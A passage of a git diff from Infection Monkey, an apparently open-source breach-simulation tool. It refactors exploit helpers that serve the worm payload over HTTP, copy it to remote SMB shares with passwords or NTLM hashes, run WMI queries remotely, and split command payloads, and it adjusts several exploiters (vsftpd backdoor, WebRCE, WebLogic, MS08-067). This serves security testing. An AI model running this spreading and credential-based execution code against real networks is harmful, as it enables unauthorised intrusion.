infection_monkey.config import WormConfiguration - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if 'linux' in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") - return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") - return False diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py new file mode 100644 index 000000000..eabe8d9d7 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -0,0 +1,5 @@ + + +class ExploitingVulnerableMachineError(Exception): + """ Raise when exploiter failed, but machine is vulnerable""" + pass diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py new file mode 100644 index 000000000..91a25c270 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -0,0 +1,142 @@ +import logging +import socket +import struct +import sys + +from infection_monkey.network.info import get_routes + +LOG = logging.getLogger(__name__) + + +def get_interface_to_target(dst): + """ + :param dst: destination IP address string without port. E.G. '192.168.1.1.' + :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' + """ + if sys.platform == "win32": + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect((dst, 1)) + ip_to_dst = s.getsockname()[0] + except KeyError: + LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.") + ip_to_dst = '127.0.0.1' + finally: + s.close() + return ip_to_dst + else: + # based on scapy implementation + + def atol(x): + ip = socket.inet_aton(x) + return struct.unpack("!I", ip)[0] + + routes = get_routes() + dst = atol(dst) + paths = [] + for d, m, gw, i, a in routes: + aa = atol(a) + if aa == dst: + paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) + if (dst & m) == (d & m): + paths.append((m, (i, a, gw))) + if not paths: + return None + paths.sort() + ret = paths[-1][1] + return ret[1] + + +def try_get_target_monkey(host): + src_path = get_target_monkey(host) + if not src_path: + raise Exception("Can't find suitable monkey executable for host %r", host) + return src_path + + +def get_target_monkey(host): + from infection_monkey.control import ControlClient + import platform + import sys + + if host.monkey_exe: + return host.monkey_exe + + if not host.os.get('type'): + return None + + monkey_path = ControlClient.download_monkey_exe(host) + + if host.os.get('machine') and monkey_path: + host.monkey_exe = monkey_path + + if not monkey_path: + if host.os.get('type') == platform.system().lower(): + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe + if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ + host.os.get('machine', '').lower() == platform.machine().lower(): + monkey_path = sys.executable + + return monkey_path + + +def get_target_monkey_by_os(is_windows, is_32bit): + from infection_monkey.control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + + +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): + cmdline = "" + + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + + return cmdline + + +def build_monkey_commandline(target_host, depth, location=None): + from infection_monkey.config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + +def get_monkey_depth(): + from infection_monkey.config import WormConfiguration + return WormConfiguration.depth + + +def get_monkey_dest_path(url_to_monkey): + """ + Gets destination path from monkey's source url. + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from infection_monkey.config import WormConfiguration + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py new file mode 100644 index 000000000..19b45b043 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -0,0 +1,90 @@ +import logging +import os +import os.path +import urllib +from threading import Lock + +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port +from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class HTTPTools(object): + + @staticmethod + def create_transfer(host, src_path, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = HTTPServer(local_ip, local_port, src_path) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + @staticmethod + def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + if not http_path: + raise Exception("Http transfer creation failed.") + LOG.info("Started http server on %s", http_path) + return http_path, http_thread + + @staticmethod + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + """ + Create http server for file transfer with a lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler + """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.start() + lock.acquire() + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +class MonkeyHTTPServer(HTTPTools): + def __init__(self, host): + super(MonkeyHTTPServer, self).__init__() + self.http_path = None + self.http_thread = None + self.host = host + + def start(self): + # Get monkey exe for host and it's path + src_path = try_get_target_monkey(self.host) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + + def stop(self): + if not self.http_path or not self.http_thread: + raise RuntimeError("Can't stop http server that wasn't started!") + self.http_thread.join(DOWNLOAD_TIMEOUT) + self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py new file mode 100644 index 000000000..31632b045 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -0,0 +1,63 @@ +import logging +import textwrap + +LOG = logging.getLogger(__name__) + + +class Payload(object): + """ + Class for defining and parsing a payload (commands with prefixes/suffixes) + """ + + def __init__(self, command, prefix="", suffix=""): + self.command = command + self.prefix = prefix + self.suffix = suffix + + def get_payload(self, command=""): + """ + Returns prefixed and suffixed command (payload) + :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :return: prefixed and suffixed command (full payload) + """ + if not command: + command = self.command + return "{}{}{}".format(self.prefix, command, self.suffix) + + +class LimitedSizePayload(Payload): + """ + Class for defining and parsing commands/payloads + """ + + def __init__(self, command, max_length, prefix="", suffix=""): + """ + :param command: command + :param max_length: max length that payload(prefix + command + suffix) can have + :param prefix: commands prefix + :param suffix: commands suffix + """ + super(LimitedSizePayload, self).__init__(command, prefix, suffix) + self.max_length = max_length + + def is_suffix_and_prefix_too_long(self): + return self.payload_is_too_long(self.suffix + self.prefix) + + def split_into_array_of_smaller_payloads(self): + if self.is_suffix_and_prefix_too_long(): + raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + + elif self.command == "": + return [self.prefix+self.suffix] + wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) + commands = [self.get_payload(part) + for part + in wrapper.wrap(self.command)] + return commands + + def get_max_sub_payload_length(self): + return self.max_length - len(self.prefix) - len(self.suffix) + + def payload_is_too_long(self, command): + return len(command) >= self.max_length diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py new file mode 100644 index 000000000..af682dbff --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -0,0 +1,32 @@ +from unittest import TestCase +from payload_parsing import Payload, LimitedSizePayload + + +class TestPayload(TestCase): + def test_get_payload(self): + test_str1 = "abc" + test_str2 = "atc" + payload = Payload(command="b", prefix="a", suffix="c") + assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 + + def test_is_suffix_and_prefix_too_long(self): + pld_fail = LimitedSizePayload("b", 2, "a", "c") + pld_success = LimitedSizePayload("b", 3, "a", "c") + assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + + def test_split_into_array_of_smaller_payloads(self): + test_str1 = "123456789" + pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") + array1 = pld1.split_into_array_of_smaller_payloads() + test1 = bool(array1[0] == "prefix1234suffix" and + array1[1] == "prefix5678suffix" and + array1[2] == "prefix9suffix") + + test_str2 = "12345678" + pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") + array2 = pld2.split_into_array_of_smaller_payloads() + test2 = bool(array2[0] == "prefix1234suffix" and + array2[1] == "prefix5678suffix" and len(array2) == 2) + + assert test1 and test2 + diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py new file mode 100644 index 000000000..6ca0b63ad --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -0,0 +1,223 @@ +import logging +import ntpath +import pprint + +from impacket.dcerpc.v5 import transport, srvs +from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 +from impacket.smbconnection import SMBConnection, SMB_DIALECT + +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.exploit.tools.helpers import get_interface_to_target + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class SmbTools(object): + + @staticmethod + def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + config = infection_monkey.config.WormConfiguration + src_file_size = monkeyfs.getsize(src_path) + + smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + # skip guest users + if smb.isGuestSession() > 0: + LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," + " LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) + + try: + smb.logoff() + except: + pass + + return None + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as exc: + LOG.debug("Error requesting server info from %r over SMB: %s", + host, exc) + return None + + info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], + 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], + 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), + 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), + 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), + 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} + + LOG.debug("Connected to %r using %s:\n%s", + host, dialect, pprint.pformat(info)) + + try: + resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as exc: + LOG.debug("Error enumerating server shares from %r over SMB: %s", + host, exc) + return None + + resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] + + high_priority_shares = () + low_priority_shares = () + file_name = ntpath.split(dst_path)[-1] + + for i in range(len(resp)): + share_name = resp[i]['shi2_netname'].strip("\0 ") + share_path = resp[i]['shi2_path'].strip("\0 ") + current_uses = resp[i]['shi2_current_uses'] + max_uses = resp[i]['shi2_max_uses'] + + if current_uses >= max_uses: + LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", + share_name, host) + continue + elif not share_path: + LOG.debug("Skipping share '%s' on victim %r because share path is invalid", + share_name, host) + continue + + share_info = {'share_name': share_name, + 'share_path': share_path} + + if dst_path.lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + shares = high_priority_shares + low_priority_shares + + file_uploaded = False + for remote_path, share in shares: + share_name = share['share_name'] + share_path = share['share_path'] + + if not smb: + smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + if not smb: + return None + + try: + tid = smb.connectTree(share_name) + except Exception as exc: + LOG.debug("Error connecting tree to share '%s' on victim %r: %s", + share_name, host, exc) + continue + + LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, share_path, remote_path, host.ip_addr[0], ) + + remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) + + # check if file is found on destination + if config.skip_exploit_if_file_exist: + try: + file_info = smb.listPath(share_name, remote_path) + if file_info: + if src_file_size == file_info[0].get_filesize(): + LOG.debug("Remote monkey file is same as source, skipping copy") + return remote_full_path + + LOG.debug("Remote monkey file is found but different, moving along with attack") + except: + pass # file isn't found on remote victim, moving on + + try: + with monkeyfs.open(src_path, 'rb') as source_file: + # make sure of the timeout + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, source_file.read) + + file_uploaded = True + T1105Telem(ScanStatus.USED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path).send() + LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, share_name, share_path, host) + + break + except Exception as exc: + LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", + share_name, host, exc) + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path).send() + continue + finally: + try: + smb.logoff() + except: + pass + + smb = None + + if not file_uploaded: + LOG.debug("Couldn't find a writable share for exploiting" + " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", + host, username, password, lm_hash, ntlm_hash) + return None + + return remote_full_path + + @staticmethod + def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): + try: + smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) + except Exception as exc: + LOG.debug("SMB connection to %r on port 445 failed," + " trying port 139 (%s)", host, exc) + + try: + smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) + except Exception as exc: + LOG.debug("SMB connection to %r on port 139 failed as well (%s)", + host, exc) + return None, None + + dialect = {SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") + + # we know this should work because the WMI connection worked + try: + smb.login(username, password, '', lm_hash, ntlm_hash) + except Exception as exc: + LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", + host, username, password, lm_hash, ntlm_hash, exc) + return None, dialect + + smb.setTimeout(timeout) + return smb, dialect + + @staticmethod + def execute_rpc_call(smb, rpc_func, *args): + dce = SmbTools.get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + @staticmethod + def get_dce_bind(smb): + rpctransport = transport.SMBTransport(smb.getRemoteHost(), + smb.getRemoteHost(), + filename=r'\srvsvc', + smb_connection=smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py new file mode 100644 index 000000000..abbb9f936 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -0,0 +1,150 @@ +import logging + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class DceRpcException(Exception): + pass + + +class AccessDeniedException(Exception): + def __init__(self, host, username, password, domain): + super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % + (host, domain, username, password)) + + +class WmiTools(object): + class WmiConnection(object): + def __init__(self): + self._dcom = None + self._iWbemServices = None + + @property + def connected(self): + return self._dcom is not None + + def connect(self, host, username, password, domain=None, lmhash="", nthash=""): + if not domain: + domain = host.ip_addr + + dcom = DCOMConnection(host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True) + + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, + wmi.IID_IWbemLevel1Login) + except Exception as exc: + dcom.disconnect() + + if "rpc_s_access_denied" == exc.message: + raise AccessDeniedException(host, username, password, domain) + + raise + + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + + try: + self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self._dcom = dcom + except: + dcom.disconnect() + + raise + finally: + iWbemLevel1Login.RemRelease() + + def close(self): + assert self.connected, "WmiConnection isn't connected" + + self._iWbemServices.RemRelease() + self._iWbemServices = None + + self._dcom.disconnect() + self._dcom = None + + @staticmethod + def dcom_wrap(func): + def _wrapper(*args, **kwarg): + try: + return func(*args, **kwarg) + finally: + WmiTools.dcom_cleanup() + + return _wrapper + + @staticmethod + def dcom_cleanup(): + for port_map in DCOMConnection.PORTMAPS.keys(): + del DCOMConnection.PORTMAPS[port_map] + for oid_set in DCOMConnection.OID_SET.keys(): + del DCOMConnection.OID_SET[port_map] + + DCOMConnection.OID_SET = {} + DCOMConnection.PORTMAPS = {} + if DCOMConnection.PINGTIMER: + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + + @staticmethod + def get_object(wmi_connection, object_name): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + return wmi_connection._iWbemServices.GetObject(object_name)[0] + + @staticmethod + def list_object(wmi_connection, object_name, fields=None, where=None): + assert isinstance(wmi_connection, WmiTools.WmiConnection) + assert wmi_connection.connected, "WmiConnection isn't connected" + + if fields: + fields_query = ",".join(fields) + else: + fields_query = "*" + + wql_query = "SELECT %s FROM %s" % (fields_query, object_name) + + if where: + wql_query += " WHERE %s" % (where,) + + LOG.debug("Execution WQL query: %r", wql_query) + + iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) + + query = [] + try: + while True: + try: + next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] + record = next_item.getProperties() + + if not fields: + fields = record.keys() + + query_record = {} + for key in fields: + query_record[key] = record[key]['value'] + + query.append(query_record) + except DCERPCSessionError as exc: + if 1 == exc.error_code: + break + + raise + finally: + iEnumWbemClassObject.RemRelease() + + return query diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 498c09eea..744853bdf 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -6,12 +6,16 @@ import socket import time + +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import build_monkey_commandline -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from logging import getLogger +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + LOG = getLogger(__name__) __author__ = 'D3fa1t' @@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter): change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) + T1222Telem(ScanStatus.USED, change_permission, self.host).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 56aa77442..1b5b9d75b 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,10 +5,12 @@ from abc import abstractmethod from infection_monkey.exploit import HostExploiter from infection_monkey.model import * -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'VakarisZ' @@ -307,7 +309,7 @@ class WebRCE(HostExploiter): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp @@ -366,8 +368,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {'monkey_path': path} try: resp = self.exploit(url, command) + T1222Telem(ScanStatus.USED, command, self.host).send() except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) + T1222Telem(ScanStatus.SCANNED, "", self.host).send() return False # If exploiter returns True / False if isinstance(resp, bool): diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 625de13c6..750fc932c 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -9,7 +9,9 @@ from http.server import BaseHTTPRequestHandler, HTTPServer from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.info import get_free_tcp_port +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer __author__ = "VakarisZ" diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 170a7f1dc..047574d7e 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,11 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 9439d7414..1f3e1cecc 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -6,8 +6,11 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ +from infection_monkey.exploit.tools.helpers import get_target_monkey, \ get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException +from infection_monkey.exploit.tools.smb_tools import SmbTools +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from common.utils.exploit_enum import ExploitType @@ -33,8 +36,10 @@ class WmiExploiter(HostExploiter): creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: - LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + password_hashed = self._config.hash_sensitive_data(password) + LOG.debug("Attempting to connect %r using WMI with " + "user,password (SHA-512),lm hash,ntlm hash: ('%s','%s','%s','%s')", + self.host, user, password_hashed, lm_hash, ntlm_hash) wmi_connection = WmiTools.WmiConnection() @@ -44,23 +49,23 @@ class WmiExploiter(HostExploiter): self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + self.host, user, password_hashed, lm_hash, ntlm_hash) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug("Failed connecting to %r using WMI with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + self.host, user, password_hashed, lm_hash, ntlm_hash) continue except socket.error: LOG.debug("Network error in WMI connection to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", - self.host, user, password, lm_hash, ntlm_hash) + self.host, user, password_hashed, lm_hash, ntlm_hash) return False except Exception as exc: LOG.debug("Unknown WMI connection error to %r with " "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", - self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) + self.host, user, password_hashed, lm_hash, ntlm_hash, exc, traceback.format_exc()) return False self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) @@ -91,7 +96,8 @@ class WmiExploiter(HostExploiter): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) + build_monkey_commandline( + self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -118,3 +124,4 @@ class WmiExploiter(HostExploiter): return success return False + diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 817b83024..2bf5aabeb 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -8,7 +8,7 @@ import os import sys import traceback -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG @@ -68,7 +68,7 @@ def main(): else: print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)) - print("Loaded Configuration: %r" % WormConfiguration.as_dict()) + print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) # Make sure we're not in a machine that has the kill file kill_path = os.path.expandvars( @@ -79,10 +79,10 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = utils.get_monkey_log_path() + log_path = get_monkey_log_path() monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: - log_path = utils.get_dropper_log_path() + log_path = get_dropper_log_path() monkey_cls = MonkeyDrops else: return True @@ -127,8 +127,8 @@ def main(): json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) return True - except Exception: - LOG.exception("Exception thrown from monkey's start function") + except Exception as e: + LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: monkey.cleanup() diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e6c2e63a5..dd3e9ca63 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' 